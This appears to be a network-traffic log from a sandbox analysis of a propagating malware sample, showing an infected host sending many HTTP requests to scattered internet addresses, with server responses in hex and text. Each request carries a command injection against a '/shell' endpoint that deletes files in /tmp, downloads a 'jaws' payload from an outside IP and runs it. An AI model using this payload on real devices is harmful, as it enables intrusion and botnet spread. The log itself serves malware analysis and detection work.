Mar 13, 2024 09:36:41.583156109 CET	316	IN	HTTP/1.1 403 Forbidden Server: CloudFront Date: Wed, 13 Mar 2024 08:36:41 GMT Content-Type: text/html Content-Length: 151 Connection: keep-alive Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 43 6c 6f 75 64 46 72 6f 6e 74 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>403 Forbidden</title></head><body><center><h1>403 Forbidden</h1></center><hr><center>CloudFront</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
301	192.168.2.15	55998	34.81.41.163	80

Timestamp	Bytes transferred	Direction	Data
Mar 13, 2024 09:36:41.640275955 CET	243	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.66.36/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Mar 13, 2024 09:36:41.931569099 CET	338	IN	HTTP/1.1 404 Not Found Server: nginx/1.18.0 (Ubuntu) Date: Wed, 13 Mar 2024 08:36:41 GMT Content-Type: text/html Content-Length: 162 Connection: keep-alive Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 38 2e 30 20 28 55 62 75 6e 74 75 29 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx/1.18.0 (Ubuntu)</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
302	192.168.2.15	58886	103.251.200.188	80

Timestamp	Bytes transferred	Direction	Data
Mar 13, 2024 09:36:41.681926012 CET	243	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.66.36/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Mar 13, 2024 09:36:42.001116037 CET	59	IN	HTTP/1.1 400 Bad Request Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port
303	192.168.2.15	55446	146.56.253.174	80

Timestamp	Bytes transferred	Direction	Data
Mar 13, 2024 09:36:41.892389059 CET	231	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.66.36/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Mar 13, 2024 09:36:42.288212061 CET	381	IN	HTTP/1.1 302 Moved Temporarily Server: stgw Date: Wed, 13 Mar 2024 08:36:42 GMT Content-Type: text/html Content-Length: 137 Connection: keep-alive Location: HTTPS://127.0.0.1/shell?cd+/tmp;rm+-rf+*;wget+ 94.156.66.36/jaws;sh+/tmp/jaws Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 73 74 67 77 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>302 Found</title></head><body><center><h1>302 Found</h1></center><hr><center>stgw</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
304	192.168.2.15	46990	18.164.180.68	80

Timestamp	Bytes transferred	Direction	Data
Mar 13, 2024 09:36:41.897928953 CET	243	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.66.36/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Mar 13, 2024 09:36:42.302337885 CET	316	IN	HTTP/1.1 403 Forbidden Server: CloudFront Date: Wed, 13 Mar 2024 08:36:42 GMT Content-Type: text/html Content-Length: 151 Connection: keep-alive Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 43 6c 6f 75 64 46 72 6f 6e 74 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>403 Forbidden</title></head><body><center><h1>403 Forbidden</h1></center><hr><center>CloudFront</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
305	192.168.2.15	55708	198.72.103.62	80

Timestamp	Bytes transferred	Direction	Data
Mar 13, 2024 09:36:42.119848013 CET	243	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.66.36/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Mar 13, 2024 09:36:42.222999096 CET	502	IN	HTTP/1.1 400 Bad Request Content-Type: text/html; charset=us-ascii Server: Microsoft-HTTPAPI/2.0 Date: Wed, 13 Mar 2024 08:36:41 GMT Connection: close Content-Length: 311 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 48 54 4d 4c 20 34 2e 30 31 2f 2f 45 4e 22 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 68 74 6d 6c 34 2f 73 74 72 69 63 74 2e 64 74 64 22 3e 0d 0a 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 3c 54 49 54 4c 45 3e 42 61 64 20 52 65 71 75 65 73 74 3c 2f 54 49 54 4c 45 3e 0d 0a 3c 4d 45 54 41 20 48 54 54 50 2d 45 51 55 49 56 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 43 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 73 2d 61 73 63 69 69 22 3e 3c 2f 48 45 41 44 3e 0d 0a 3c 42 4f 44 59 3e 3c 68 32 3e 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 32 3e 0d 0a 3c 68 72 3e 3c 70 3e 48 54 54 50 20 45 72 72 6f 72 20 34 30 30 2e 20 54 68 65 20 72 65 71 75 65 73 74 20 69 73 20 62 61 64 6c 79 20 66 6f 72 6d 65 64 2e 3c 2f 70 3e 0d 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0d 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN""http://www.w3.org/TR/html4/strict.dtd"><HTML><HEAD><TITLE>Bad Request</TITLE><META HTTP-EQUIV="Content-Type" Content="text/html; charset=us-ascii"></HEAD><BODY><h2>Bad Request</h2><hr><p>HTTP Error 400. The request is badly formed.</p></BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port
306	192.168.2.15	47744	18.245.130.228	80

Timestamp	Bytes transferred	Direction	Data
Mar 13, 2024 09:36:42.248125076 CET	243	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.66.36/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Mar 13, 2024 09:36:42.376085997 CET	316	IN	HTTP/1.1 403 Forbidden Server: CloudFront Date: Wed, 13 Mar 2024 08:36:42 GMT Content-Type: text/html Content-Length: 151 Connection: keep-alive Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 43 6c 6f 75 64 46 72 6f 6e 74 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>403 Forbidden</title></head><body><center><h1>403 Forbidden</h1></center><hr><center>CloudFront</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
307	192.168.2.15	39156	186.7.191.138	80

Timestamp	Bytes transferred	Direction	Data
Mar 13, 2024 09:36:42.268959999 CET	243	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.66.36/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Mar 13, 2024 09:36:42.424206972 CET	337	IN	HTTP/1.1 200 OK Content-Type:text/html; charset=UTF-8 Pragma:no-cache Cache-control:no-cache, no-store, max-age=0 Transfer-Encoding:chunked X-Frame-Options:SAMEORIGIN Connection:Keep-Alive X-XSS-Protection:1; mode=block Content-Security-Policy:default-src 'self' 'unsafe-inline' 'unsafe-eval' Content-Language:en
Mar 13, 2024 09:36:42.424746990 CET	1286	IN	Data Raw: 64 33 37 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 58 48 54 4d 4c 20 31 2e 30 20 54 72 61 6e 73 69 74 69 6f 6e 61 6c 2f 2f 45 4e 22 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 Data Ascii: d37<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"><html xmlns="http://www.w3.org/1999/xhtml"><head><meta http-equiv="Content-Type" content="text/html; charset=ut
Mar 13, 2024 09:36:42.424892902 CET	1286	IN	Data Raw: 29 20 3d 3d 20 27 3a 27 29 29 0d 0a 20 20 20 20 7b 0d 0a 20 20 20 20 20 20 20 20 72 65 74 75 72 6e 20 66 61 6c 73 65 3b 0d 0a 20 20 20 20 7d 20 20 20 20 0d 0a 20 20 20 20 0d 0a 20 20 20 20 4c 69 73 74 20 3d 20 41 64 64 72 65 73 73 2e 73 70 6c 69 Data Ascii: ) == ':')) { return false; } List = Address.split(":"); if (List.length > 8) { return false; } for (var i = 0; i < List.length; i++) { if (false == IsIPv6AddressUsh
Mar 13, 2024 09:36:42.425180912 CET	859	IN	Data Raw: 65 6c 73 65 0d 0a 7b 0d 0a 76 61 72 20 4c 69 73 74 20 3d 20 48 6f 73 74 49 6e 66 6f 2e 73 70 6c 69 74 28 22 3a 22 29 3b 0d 0a 69 66 28 4c 69 73 74 2e 6c 65 6e 67 74 68 20 3e 3d 20 33 29 0d 0a 7b 0d 0a 2f 2a 20 69 6e 63 6c 75 64 65 20 74 77 6f 20 Data Ascii: else{var List = HostInfo.split(":");if(List.length >= 3){/* include two or more than two ":" /if(true == IsIPv6AddressValid(HostInfo)){/ host string not include port */window.location="https://[" + HostInfo + "]:" + SSLPort

Session ID	Source IP	Source Port	Destination IP	Destination Port
308	192.168.2.15	54598	13.52.5.4	80

Timestamp	Bytes transferred	Direction	Data
Mar 13, 2024 09:36:42.282692909 CET	243	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.66.36/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
309	192.168.2.15	51170	23.64.51.44	80

Timestamp	Bytes transferred	Direction	Data
Mar 13, 2024 09:36:42.291485071 CET	243	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.66.36/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Mar 13, 2024 09:36:42.463167906 CET	427	IN	HTTP/1.0 400 Bad Request Server: AkamaiGHost Mime-Version: 1.0 Content-Type: text/html Content-Length: 205 Expires: Wed, 13 Mar 2024 08:36:42 GMT Date: Wed, 13 Mar 2024 08:36:42 GMT Connection: close Data Raw: 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 0a 3c 54 49 54 4c 45 3e 49 6e 76 61 6c 69 64 20 55 52 4c 3c 2f 54 49 54 4c 45 3e 0a 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 0a 3c 48 31 3e 49 6e 76 61 6c 69 64 20 55 52 4c 3c 2f 48 31 3e 0a 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 22 26 23 39 31 3b 6e 6f 26 23 33 32 3b 55 52 4c 26 23 39 33 3b 22 2c 20 69 73 20 69 6e 76 61 6c 69 64 2e 3c 70 3e 0a 52 65 66 65 72 65 6e 63 65 26 23 33 32 3b 26 23 33 35 3b 39 26 23 34 36 3b 36 30 33 32 34 31 37 26 23 34 36 3b 31 37 31 30 33 31 39 30 30 32 26 23 34 36 3b 36 63 37 63 36 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0a Data Ascii: <HTML><HEAD><TITLE>Invalid URL</TITLE></HEAD><BODY><H1>Invalid URL</H1>The requested URL "[no URL]", is invalid.<p>Reference #9.6032417.1710319002.6c7c6</BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port
310	192.168.2.15	48994	129.13.103.12	80

Timestamp	Bytes transferred	Direction	Data
Mar 13, 2024 09:36:42.292484999 CET	243	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.66.36/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Mar 13, 2024 09:36:42.465671062 CET	512	IN	HTTP/1.1 400 Bad Request Date: Wed, 13 Mar 2024 08:36:42 GMT Server: Apache/2.4.25 (Debian) Content-Length: 318 Connection: close Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 0a 3c 70 3e 59 6f 75 72 20 62 72 6f 77 73 65 72 20 73 65 6e 74 20 61 20 72 65 71 75 65 73 74 20 74 68 61 74 20 74 68 69 73 20 73 65 72 76 65 72 20 63 6f 75 6c 64 20 6e 6f 74 20 75 6e 64 65 72 73 74 61 6e 64 2e 3c 62 72 20 2f 3e 0a 3c 2f 70 3e 0a 3c 68 72 3e 0a 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 35 20 28 44 65 62 69 61 6e 29 20 53 65 72 76 65 72 20 61 74 20 74 6b 6d 77 77 77 2d 69 6e 74 65 72 69 6d 2e 74 6b 6d 2e 6b 69 74 2e 65 64 75 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>400 Bad Request</title></head><body><h1>Bad Request</h1><p>Your browser sent a request that this server could not understand.<br /></p><hr><address>Apache/2.4.25 (Debian) Server at tkmwww-interim.tkm.kit.edu Port 80</address></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
311	192.168.2.15	52702	84.33.8.231	80

Timestamp	Bytes transferred	Direction	Data
Mar 13, 2024 09:36:42.303924084 CET	243	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.66.36/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Mar 13, 2024 09:36:42.487885952 CET	292	IN	HTTP/1.1 301 Moved Permanently Date: Wed, 13 Mar 2024 12:14:59 GMT Location: https://127.0.0.1/shell?cd+/tmp;rm+-rf+*;wget+ 94.156.66.36/jaws;sh+/tmp/jaws Connection: close Content-Type: text/html Content-Length: 56 Data Raw: 3c 48 54 4d 4c 3e 3c 42 4f 44 59 3e 3c 48 31 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 48 31 3e 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e Data Ascii: <HTML><BODY><H1>301 Moved Permanently</H1></BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port
312	192.168.2.15	35858	74.121.217.94	80

Timestamp	Bytes transferred	Direction	Data
Mar 13, 2024 09:36:45.716917992 CET	243	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.66.36/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
313	192.168.2.15	50122	184.85.70.23	80

Timestamp	Bytes transferred	Direction	Data
Mar 13, 2024 09:36:45.747708082 CET	243	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.66.36/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Mar 13, 2024 09:36:46.549160004 CET	243	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.66.36/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Mar 13, 2024 09:36:46.705697060 CET	534	IN	HTTP/1.0 400 Bad Request Server: AkamaiGHost Mime-Version: 1.0 Content-Type: text/html Content-Length: 312 Expires: Wed, 13 Mar 2024 08:36:46 GMT Date: Wed, 13 Mar 2024 08:36:46 GMT Connection: close Data Raw: 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 0a 3c 54 49 54 4c 45 3e 49 6e 76 61 6c 69 64 20 55 52 4c 3c 2f 54 49 54 4c 45 3e 0a 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 0a 3c 48 31 3e 49 6e 76 61 6c 69 64 20 55 52 4c 3c 2f 48 31 3e 0a 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 22 26 23 39 31 3b 6e 6f 26 23 33 32 3b 55 52 4c 26 23 39 33 3b 22 2c 20 69 73 20 69 6e 76 61 6c 69 64 2e 3c 70 3e 0a 52 65 66 65 72 65 6e 63 65 26 23 33 32 3b 26 23 33 35 3b 39 26 23 34 36 3b 38 64 37 37 64 39 31 37 26 23 34 36 3b 31 37 31 30 33 31 39 30 30 36 26 23 34 36 3b 31 35 35 65 30 35 66 30 0a 3c 50 3e 68 74 74 70 73 26 23 35 38 3b 26 23 34 37 3b 26 23 34 37 3b 65 72 72 6f 72 73 26 23 34 36 3b 65 64 67 65 73 75 69 74 65 26 23 34 36 3b 6e 65 74 26 23 34 37 3b 39 26 23 34 36 3b 38 64 37 37 64 39 31 37 26 23 34 36 3b 31 37 31 30 33 31 39 30 30 36 26 23 34 36 3b 31 35 35 65 30 35 66 30 3c 2f 50 3e 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0a Data Ascii: <HTML><HEAD><TITLE>Invalid URL</TITLE></HEAD><BODY><H1>Invalid URL</H1>The requested URL "[no URL]", is invalid.<p>Reference #9.8d77d917.1710319006.155e05f0<P>https://errors.edgesuite.net/9.8d77d917.1710319006.155e05f0</P></BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port
314	192.168.2.15	35558	23.37.0.24	80

Timestamp	Bytes transferred	Direction	Data
Mar 13, 2024 09:36:45.747749090 CET	243	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.66.36/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Mar 13, 2024 09:36:46.581048012 CET	243	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.66.36/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Mar 13, 2024 09:36:46.738377094 CET	431	IN	HTTP/1.0 400 Bad Request Server: AkamaiGHost Mime-Version: 1.0 Content-Type: text/html Content-Length: 209 Expires: Wed, 13 Mar 2024 08:36:46 GMT Date: Wed, 13 Mar 2024 08:36:46 GMT Connection: close Data Raw: 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 0a 3c 54 49 54 4c 45 3e 49 6e 76 61 6c 69 64 20 55 52 4c 3c 2f 54 49 54 4c 45 3e 0a 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 0a 3c 48 31 3e 49 6e 76 61 6c 69 64 20 55 52 4c 3c 2f 48 31 3e 0a 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 22 26 23 39 31 3b 6e 6f 26 23 33 32 3b 55 52 4c 26 23 39 33 3b 22 2c 20 69 73 20 69 6e 76 61 6c 69 64 2e 3c 70 3e 0a 52 65 66 65 72 65 6e 63 65 26 23 33 32 3b 26 23 33 35 3b 39 26 23 34 36 3b 64 39 32 38 31 31 30 32 26 23 34 36 3b 31 37 31 30 33 31 39 30 30 36 26 23 34 36 3b 35 61 64 65 61 64 65 39 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0a Data Ascii: <HTML><HEAD><TITLE>Invalid URL</TITLE></HEAD><BODY><H1>Invalid URL</H1>The requested URL "[no URL]", is invalid.<p>Reference #9.d9281102.1710319006.5adeade9</BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port
315	192.168.2.15	41518	35.178.88.90	80

Timestamp	Bytes transferred	Direction	Data
Mar 13, 2024 09:36:45.747775078 CET	243	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.66.36/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Mar 13, 2024 09:36:46.581051111 CET	243	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.66.36/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Mar 13, 2024 09:36:46.737194061 CET	338	IN	HTTP/1.1 404 Not Found Server: nginx/1.18.0 (Ubuntu) Date: Wed, 13 Mar 2024 08:36:46 GMT Content-Type: text/html Content-Length: 162 Connection: keep-alive Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 38 2e 30 20 28 55 62 75 6e 74 75 29 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx/1.18.0 (Ubuntu)</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
316	192.168.2.15	53868	23.109.170.102	80

Timestamp	Bytes transferred	Direction	Data
Mar 13, 2024 09:36:45.750109911 CET	243	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.66.36/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Mar 13, 2024 09:36:46.613122940 CET	243	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.66.36/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Mar 13, 2024 09:36:46.773585081 CET	322	IN	HTTP/1.1 400 Bad Request Server: nginx Date: Wed, 13 Mar 2024 08:36:46 GMT Content-Type: text/html; charset=utf-8 Content-Length: 150 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
317	192.168.2.15	37330	170.80.156.128	80

Timestamp	Bytes transferred	Direction	Data
Mar 13, 2024 09:36:45.778287888 CET	243	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.66.36/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
318	192.168.2.15	59450	179.233.80.189	80

Timestamp	Bytes transferred	Direction	Data
